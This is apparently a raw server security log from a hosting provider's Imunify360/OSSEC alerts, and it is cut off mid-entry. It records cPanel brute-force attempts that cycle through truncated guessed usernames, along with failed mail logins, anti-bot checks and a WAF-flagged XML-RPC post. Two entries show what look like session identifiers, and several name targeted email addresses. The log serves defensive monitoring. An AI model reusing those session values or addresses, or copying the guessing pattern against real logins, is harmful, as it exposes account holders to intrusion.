205.169.39.57 - - [16/Jun/2026:03:19:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750678&pdata=https%253A%252F%252Flvdt.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781579994 HTTP/2.0" 302 0 lvdt.tg "https://lvdt.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.167.178.68
country_id: 6252001
description:
[2026-06-16 03:24:18 +0000] info [cpaneld] 216.167.178.68 - caf "GET /login/?login_only=1&user=caf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.9.216.12
country_id: 3686110
description:
[2026-06-16 03:24:04 +0000] info [cpaneld] 38.9.216.12 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.48.252.97
country_id: 3865483
description:
[2026-06-16 03:24:07 +0000] info [cpaneld] 190.48.252.97 - cafeit "GET /login/?login_only=1&user=cafeit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafeit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.103.193.170
country_id: 2589581
description:
[2026-06-16 03:24:15 +0000] info [cpaneld] 105.103.193.170 - cafe "GET /login/?login_only=1&user=cafe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.209.92.117
country_id: 2017370
description:
[2026-06-16 03:25:08 +0000] info [cpaneld] 82.209.92.117 - soeurndetogo "GET /login/?login_only=1&user=soeurndetogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soeurndetogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.225.162.119
country_id: 690791
description:
[2026-06-16 03:25:18 +0000] info [cpaneld] 91.225.162.119 - soeurndeto "GET /login/?login_only=1&user=soeurndeto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soeurndeto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.139.227.118
country_id: 3865483
description:
[2026-06-16 03:24:20 +0000] info [cpaneld] 186.139.227.118 - caf "GET /login/?login_only=1&user=caf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caf (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.169
country_id: 6252001
description:
[2026-06-16 03:24:31 +0000] info [cpaneld] 64.44.62.169 NEW wcnyaruu:dAoG7x12SYB2JTIs address=64.44.62.169,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.151.165
country_id: 294640
description:
[2026-06-16 03:25:05 +0000] info [cpaneld] 79.177.151.165 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.84.155.63
country_id: 3469034
description:
[2026-06-16 03:25:32 +0000] info [cpaneld] 187.84.155.63 - soeurn "GET /login/?login_only=1&user=soeurn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soeurn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.87.0.190
country_id: 3865483
description:
[2026-06-16 03:25:46 +0000] info [cpaneld] 149.87.0.190 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.122.193.238
country_id: 3865483
description:
[2026-06-16 03:25:29 +0000] info [cpaneld] 190.122.193.238 - soeurnd "GET /login/?login_only=1&user=soeurnd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soeurnd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.48.2.4
country_id: 3865483
description:
[2026-06-16 03:25:43 +0000] info [cpaneld] 190.48.2.4 - soe "GET /login/?login_only=1&user=soe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.193.150.101
country_id: 2017370
description:
[2026-06-16 03:25:25 +0000] info [cpaneld] 91.193.150.101 - soeurnde "GET /login/?login_only=1&user=soeurnde&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soeurnde (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.152
country_id: 2635167
description:
[2026-06-16 03:25:31 +0000] info [cpaneld] 5.230.133.152 NEW ifxmoxbf:bXjeMWuCdHl22oox address=5.230.133.152,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.165.95.69
country_id: 6252001
description:
[2026-06-16 03:25:23 +0000] info [cpaneld] 24.165.95.69 - soeurndet "GET /login/?login_only=1&user=soeurndet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soeurndet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.63.221.70
country_id: 3439705
description:
[2026-06-16 03:25:40 +0000] info [cpaneld] 167.63.221.70 - soeu "GET /login/?login_only=1&user=soeu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soeu (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:03:28:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:03:28:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:03:28:06 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:03:28:05 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.167.164.27
country_id: 3508796
description:
190.167.164.27 - - [16/Jun/2026:03:29:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051117&pdata=https%253A%252F%252Fwww.letabloid.tg%252Fmutualite-sociale-au-togo-les-acteurs-vers-ladoption-dun-plan-strategique-2022-2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781580543 HTTP/2.0" 302 0 www.letabloid.tg "https://www.letabloid.tg/mutualite-sociale-au-togo-les-acteurs-vers-ladoption-dun-plan-strategique-2022-2025/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.5921.1539 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.167.164.27


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.69.209.140
country_id: 1643084
description:
[2026-06-16 03:28:51 +0000] info [cpaneld] 36.69.209.140 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.141.46.122
country_id: 6252001
description:
2026-06-16 03:28:33 dovecot_plain authenticator failed for H=(t2u2ndif0521j32ifcyirfq) [69.141.46.122]:52777: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.50.66.84
country_id: 1282988
description:
[2026-06-16 03:29:59 +0000] info [cpaneld] 182.50.66.84 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.169.125.166
country_id: 3996063
description:
[2026-06-16 03:30:05 +0000] info [cpaneld] 189.169.125.166 - delxiatg "GET /login/?login_only=1&user=delxiatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delxiatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.62.143.32
country_id: 3686110
description:
[2026-06-16 03:30:08 +0000] info [cpaneld] 206.62.143.32 - delxi "GET /login/?login_only=1&user=delxi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delxi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.143.218.76
country_id: 2017370
description:
[2026-06-16 03:30:20 +0000] info [cpaneld] 95.143.218.76 - de "GET /login/?login_only=1&user=de&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user de (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.104.209.203
country_id: 3469034
description:
[2026-06-16 03:30:02 +0000] info [cpaneld] 179.104.209.203 - delxia "GET /login/?login_only=1&user=delxia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delxia (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.178.39.106
country_id: 1814991
description:
Jun 16 03:30:04 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.178.39.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
country_id: 1814991
description:
2026-06-16 03:30:06 dovecot_login authenticator failed for H=([220.178.39.106]) [220.178.39.106]:39228: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:03:31:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050853&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781580669 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:03:31:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198442&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781580672 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:03:31:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854302&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781580676 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.168.101.166
country_id: 6252001
description:
Jun 16 03:30:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.168.101.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.168.101.166
country_id: 6252001
description:
2026-06-16 03:30:24 dovecot_login authenticator failed for H=wsip-98-168-101-166.hr.hr.cox.net ([220.180.107.193]) [98.168.101.166]:54129: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.160.193.189
country_id: 2921044
description:
[2026-06-16 03:35:15 +0000] info [whostmgrd] 217.160.193.189 - test1 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.153.18.72
country_id: 3625428
description:
190.153.18.72 - - [16/Jun/2026:03:34:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065564&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftogocom-vacances-numeriques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781580864 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/togocom-vacances-numeriques/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.3230.1805 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.153.18.72


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.16.87
country_id: 6252001
description:
Jun 16 03:36:08 ns5 pure-ftpd[570029]: (?@45.38.16.87) [WARNING] Authentication failed for user [Fre]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.134.117.78
country_id: 6252001
description:
Jun 16 03:36:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.134.117.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.134.117.78
country_id: 6252001
description:
2026-06-16 03:36:23 dovecot_login authenticator failed for H=c-73-134-117-78.hsd1.md.comcast.net ([49.124.151.35]) [73.134.117.78]:3665: 535 Incorrect authentication data (set_id=office@anrtogo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.171.112.189
country_id: 3624060
description:
[2026-06-16 03:37:33 +0000] info [cpaneld] 190.171.112.189 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.73.22.92
country_id: 290557
description:
[2026-06-16 03:37:46 +0000] info [cpaneld] 91.73.22.92 - matosshoptg "GET /login/?login_only=1&user=matosshoptg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matosshoptg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.181.140.24
country_id: 2017370
description:
[2026-06-16 03:37:55 +0000] info [cpaneld] 94.181.140.24 - matoss "GET /login/?login_only=1&user=matoss&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matoss (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.196.195.156
country_id: 2017370
description:
[2026-06-16 03:37:58 +0000] info [cpaneld] 109.196.195.156 - matos "GET /login/?login_only=1&user=matos&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matos (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.19.25.204
country_id: 2017370
description:
[2026-06-16 03:38:01 +0000] info [cpaneld] 188.19.25.204 - mato "GET /login/?login_only=1&user=mato&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mato (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.194.119.121
country_id: 290557
description:
[2026-06-16 03:38:10 +0000] info [cpaneld] 5.194.119.121 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.147.177.246
country_id: 2542007
description:
[2026-06-16 03:37:39 +0000] info [cpaneld] 197.147.177.246 - matosshop "GET /login/?login_only=1&user=matosshop&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matosshop (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.176.45.175
country_id: 2542007
description:
[2026-06-16 03:37:52 +0000] info [cpaneld] 160.176.45.175 - matossh "GET /login/?login_only=1&user=matossh&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matossh (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.2.47.181
country_id: 3865483
description:
[2026-06-16 03:40:58 +0000] info [cpaneld] 181.2.47.181 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.128.52.179
country_id: 3469034
description:
[2026-06-16 03:41:07 +0000] info [cpaneld] 177.128.52.179 - caissederetraite "GET /login/?login_only=1&user=caissederetraite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetraite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.208.104.131
country_id: 2921044
description:
[2026-06-16 03:41:11 +0000] info [cpaneld] 92.208.104.131 - caissederetrai "GET /login/?login_only=1&user=caissederetrai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetrai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.79.10.119
country_id: 3469034
description:
[2026-06-16 03:41:17 +0000] info [cpaneld] 189.79.10.119 - caissederetra "GET /login/?login_only=1&user=caissederetra&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetra (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 112.209.181.170
country_id: 1694008
description:
[2026-06-16 03:41:18 +0000] info [cpaneld] 112.209.181.170 - caissederetrai "GET /login/?login_only=1&user=caissederetrai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetrai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.159.185.183
country_id: 3469034
description:
[2026-06-16 03:41:19 +0000] info [cpaneld] 201.159.185.183 - caissederetr "GET /login/?login_only=1&user=caissederetr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.122.56.71
country_id: 3469034
description:
[2026-06-16 03:41:04 +0000] info [cpaneld] 187.122.56.71 - caissederetraites "GET /login/?login_only=1&user=caissederetraites&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetraites (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.171.234.207
country_id: 2963597
description:
[2026-06-16 03:41:06 +0000] info [cpaneld] 51.171.234.207 - caissederetraitestg "GET /login/?login_only=1&user=caissederetraitestg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetraitestg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.196.75.254
country_id: 2017370
description:
[2026-06-16 03:41:09 +0000] info [cpaneld] 109.196.75.254 - caissederetraite "GET /login/?login_only=1&user=caissederetraite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetraite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.236.75.123
country_id: 3996063
description:
[2026-06-16 03:41:13 +0000] info [cpaneld] 189.236.75.123 - caissederetrait "GET /login/?login_only=1&user=caissederetrait&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetrait (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.59.207.230
country_id: 3508796
description:
[2026-06-16 03:41:31 +0000] info [cpaneld] 154.59.207.230 - caissederet "GET /login/?login_only=1&user=caissederet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.46.137.7
country_id: 3865483
description:
[2026-06-16 03:41:45 +0000] info [cpaneld] 181.46.137.7 - caisse "GET /login/?login_only=1&user=caisse&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caisse (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.31.52.51
country_id: 290557
description:
[2026-06-16 03:41:55 +0000] info [cpaneld] 5.31.52.51 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 47.30.250.48
country_id: 1269750
domain: mesyscom.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:87492.mesyscom.com||ServerName:mesyscom.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8aa649e2ed50543201e66405747d619ee2ae2a73||Title:0xc16c1296||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.188.220.255
country_id: 3996063
description:
[2026-06-16 03:41:27 +0000] info [cpaneld] 187.188.220.255 - caissedere "GET /login/?login_only=1&user=caissedere&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissedere (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.179.59.204
country_id: 3469034
description:
[2026-06-16 03:41:35 +0000] info [cpaneld] 45.179.59.204 - caissedere "GET /login/?login_only=1&user=caissedere&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissedere (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:03:41:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:03:41:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.81.72.37
country_id: 3469034
description:
[2026-06-16 03:41:43 +0000] info [cpaneld] 177.81.72.37 - caissed "GET /login/?login_only=1&user=caissed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.164.150.119
country_id: 1562822
description:
[2026-06-16 03:41:48 +0000] info [cpaneld] 14.164.150.119 - caisse "GET /login/?login_only=1&user=caisse&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caisse (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.36.233.111
country_id: 102358
description:
[2026-06-16 03:42:03 +0000] info [cpaneld] 51.36.233.111 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 183.182.120.249
country_id: 1655842
description:
[2026-06-16 03:41:22 +0000] info [cpaneld] 183.182.120.249 - caissederetra "GET /login/?login_only=1&user=caissederetra&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetra (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
